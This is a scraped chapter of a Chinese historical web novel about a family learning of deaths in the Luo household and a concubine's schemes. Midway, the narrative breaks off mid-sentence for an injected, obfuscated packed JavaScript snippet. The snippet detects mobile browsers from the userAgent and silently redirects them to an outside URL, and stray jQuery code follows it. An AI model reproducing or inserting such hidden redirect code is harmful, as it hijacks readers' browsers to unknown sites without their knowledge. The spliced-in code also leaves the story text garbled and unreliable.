肖大婶躺下片刻，心里始终念着孙女，又坐起身来。


    肖成玉听见动静进门来：“嫂子怎么又起来了？这天冷得，像是快下雪了。”


    “没事，我就是睡不着，起来坐坐。”


    肖成玉上厨房弄来一壶热姜茶，给肖大婶倒了一杯，直接放在屋内的炭火炉子上温着。


    肖大婶接过杯子，“孩子们还在外头等着吧？给他们送点去，这夜里外头冷。”


    “那我让阿朗给他们送过去。”


    肖成玉正起身，肖大婶这才想起昨日头回见的外甥。


    昨日见面时，正是许婵和阿娈失踪的时候，家里乱成一锅粥，都顾不上招待客人。


    肖成玉出去了，肖大婶下床来，到衣柜里的钱匣子包了点银钱。


    之前听罗淑柔提过，肖成玉在武义县城里租了两间屋子，在街边摆了个茶水摊，夜里还揽一些缝补衣裳的活儿。每月挣个二三两，勉强能维持母子俩的日子。


    等肖成玉再进门来，肖大婶把抱着红布的银子给她。


    “这两日家里一团乱，害得你们母子也跟着受累了，这个是给阿朗的。”


    肖成玉打开红布一看，下意识地想还回去：“嫂子，这怎么行呢？”


    肖大婶又给她推了回去：“孩子好歹叫我一声舅母，还是头回见，就算是替他舅舅给的见面礼吧。”


    两个人正在里面谈着，突然听到院子里闹哄哄的。


    “娘！阿寅和阿姚回来了。”


    听到肖三郎的声音，肖大婶赶紧把外衣披在身上出去。


    在堂屋里看到了阿寅和阿姚，还有罗淑柔身边的宋妈妈。


    肖大婶上前抱了抱孙子孙女，扬起脸来四处寻找，堂屋上一群人，唯独不见罗淑柔。


    “嗯？淑柔呢？”


    当看到宋妈妈一副愁容，肖大婶顿时有种不好的预感。


    宋妈妈哽咽道：“罗家出大事了，罗老爷和老太爷都没了。”


    在场人无不震惊，两个孩子哭着要娘，袁雅蓉和郭氏连忙过去哄。


    方才堂屋上没人，所以没放炭盆，肖大婶站了一会儿便了个哈欠，赶紧先回屋把衣裳穿好。


    肖成玉给堂屋上弄了两个炭盆，家里的汤婆子都灌满了。


    家里没别的东西，先蒸一锅饭，好在正是过年期间，有的酒馆晚上也开着，让儿子出门到街上弄个菜回来。


    她从方才肖大婶拿的银子中去了一个碎银子给谢朗，到了大门口轻声叮嘱道：“你舅母二嫂他们这两天都没怎么吃东西，多买点回来，这天冷放着也不怕坏。”


    母子俩在门口小声嘀咕，肖三郎恰巧出堂屋听见，连忙走过去：“怎么能让表弟去买呢？还是我来吧，你们进屋，我去就行了。”


    肖三郎劝着把这母子俩送进屋，接着去街上饭馆点菜，宋妈妈带着两个孩子赶了一天的路，再怎么不能让孩子饿着。


    阿姚在郭氏怀里哭着找娘亲，袁雅蓉也抱着阿寅温柔轻声哄着。


    看到这两个孩子，郭氏不免又想起自己的女儿。


    等到肖大婶过来，宋妈妈才将事情来龙去脉告诉大家。


    原来，罗淑柔一行人回到越州那天，第一眼便看到罗府大门挂了白，前堂上已经摆放着父亲和祖父的遗体。


    逼问了曹姨娘才得知，罗县丞是腊月二十八归家途中，马车不慎落下山谷，不幸身亡。次日罗老太爷得知这一消息，一口气没上来就跟着去了。


    这么大的事，曹姨娘都没有修书或派人到昌化报丧，罗淑柔不想与她计较，想先把丧事办了。


    在家里待了一天，奴仆要么都是曹姨娘的心腹，要么都是些新人。


    一问起来，曹姨娘便打着马虎眼，年迈的放回家安享晚年了，还有的要么是去了庄子，要么就是犯了错被赶出门。


    就连罗老太爷院子里的人，一个都不见了。


    这事罗淑柔越想越想蹊跷，事先找了城内镖局的唐镖师，曾是罗老太爷故交之子，托他送两个孩子到临安。


    罗淑柔跟曹姨娘一向不对付，前几次带着孩子回娘家，曹姨娘连看都不会看一眼这两个孩子。


    而这次不一样，好吃好喝款待着，对罗淑柔和两个孩子总是笑盈盈。甚至有两回，宋妈妈和贴身丫鬟不注意，还想把两个孩子带走。


    这更让罗淑柔起疑心，决定等夜深送两个孩子从后门出去。


    果不其然，人还没出门，曹姨娘和弟弟妹妹们都来了，说什么都不让两个孩子走。


    好在唐镖师身手好，从外往里拼命开出一条道来，抱起两个孩子往车上塞，接着宋妈妈也上了车。


    罗淑柔和丫鬟死死抵着门，才得以把孩子们送走。


    宋妈妈说起罗淑柔拼死护送孩子离开的样子，两只眼润润的。


    当初肖大郎的婚事，是肖克岚帮忙寻的。


    对于这位曹姨娘，肖大婶多少有些了解。


    罗淑柔生母早逝，自幼养在祖母膝下，虽然不得父亲关爱，但有祖父祖母的悉心培养，管家之事和铺面田庄的杂物一应不在话下。


    自从生母去世后，罗府里外事务都是老夫人打理的，罗淑柔十三岁那年，老夫人病重卧床。


    罗父多年来一直想把曹姨娘扶正，二老嫌觉得曹姨娘心术不正，坚决不同意让曹氏做罗府的女主人，也因此多年未能续弦，家中只有这一个侧室。


    本以为老夫人卧病，管家之事能落到曹氏手里，正暗自得意时，没想到老夫人直接把管家之权交给了年幼的罗淑柔。


    虽然才十三岁，罗淑柔从小跟在祖母身边，耳濡目染，自己也用心专研，小小年纪，家里和外头的一应事务打理得井井有条。


    以致于罗淑柔还未及笄，已有官眷和好友向老夫人提过结亲之事。


    上门提亲的人家非富即贵，可老两口念在她年幼没了生母，有爹跟没爹一个样，甚至不如没有，只希望孙女嫁个沉稳重情义之人。


    因为一直没有合适的孙女婿人选，罗淑柔的婚事一直搁置，且当时罗老夫人病情加重，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098020|181529||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罗淑柔更不想成亲。


    等到罗淑柔十六岁那年，老夫人病重离世，为感激祖母多年的细心呵护栽培，她自愿为祖母守孝三年。


    婚事就这么一直拖了下去，虽然期间仍有有提亲，罗父甚至想把女儿嫁给当地富商，以换取良田和商铺，其实老太爷当即拿拐杖敲他脑袋骂他昏了头，三个月没见这个儿子。


    一回罗老太爷奉差出行到临安遇上了肖克岚，在此之前，罗老太爷多少对肖克岚有所耳闻，近些年来临安一带的水患，肖克岚治理有功，且深受百姓爱戴。


    当时恰逢临安驿站屋顶漏雨，肖克岚将罗老太爷接到家中盛情款待。


    到了家里，饭前茶后，肖克岚和罗老太爷从公事聊到了私事。


    次日又在家中遇上还在府学念书的肖大郎，一问才得知是隔了几代亲的侄孙。因为与肖大郎他爹情同手足，因此多年来帮衬着这一家寡母和三个可怜的侄孙。


    罗老太爷被肖克岚的重情重义所打动，又实在喜欢肖大郎，成熟稳重，待人谦和，举手投足间似有肖克岚的影子。


    事后又向肖克岚讨了肖大郎的画像，带回家给罗淑柔看，等孙女点了头，罗老太爷和肖克岚再准备两个孩子的婚礼事宜。


    肖大婶对这个长媳自然是满意的，当时肖大郎还只是个举子，还觉得自家的傻小子配不上人家。


    好在肖大郎争气，春闱中榜，人还未回临安，家里得到消息便开始欢欢喜喜过礼操办婚事。


    在送聘的时候，肖大婶和肖克岚夫妇一起去的越州，因为路途有些远，所以送完聘礼在罗家过一夜再走。


    当夜肖大婶和孙秀娥听到府里有人闲言碎语，说罗家大小姐因为与外男有染，所以拖到了年近二十还未嫁人。


    肖克岚自然是选择相信罗老太爷的，但这大喜的日子，他不容有有何心怀不轨的人使绊子，当即找了罗老太爷询问。


    老太爷一怒，当即封锁了整个宅子，把所有家仆都聚集在厅中，让肖大婶和孙秀娥一一指认。


    最后人是认出来了，两个平庸的杂事婆子，经过一番盘问，原来是曹姨娘捣的鬼。


    老太爷不管儿子劝阻，当即罚了曹姨娘二十板子，在屋里面壁思过，一个月不能出来。


    那是肖大婶唯一一次见曹氏，模样倒是生的好，只是举止轻浮，一股狐媚子样，也难怪老太爷和老夫人不同意她继室。


    -


    肖大婶知道曹姨娘是吃人不吐骨头的，不然有谁会在亲家送聘时散播在室女的谣言？


    这谣言一旦传出去，别说嫁人了，整个家族都跟着蒙羞。


    三更已过，大伙儿都困倦了，阿寅和阿姚已经在袁雅蓉和郭氏怀里睡着，肖大婶让宋妈妈带着两个孩子去许婵屋里睡觉。


    郭氏虽然也很累，坚决要等到女儿回来。


    肖大婶劝不住，刚走出堂屋，听到外头有马车响。


    “阿贞！阿娈回来了！”


    大伙儿听到是虎子的声音，一个挨着一个跑了去出去。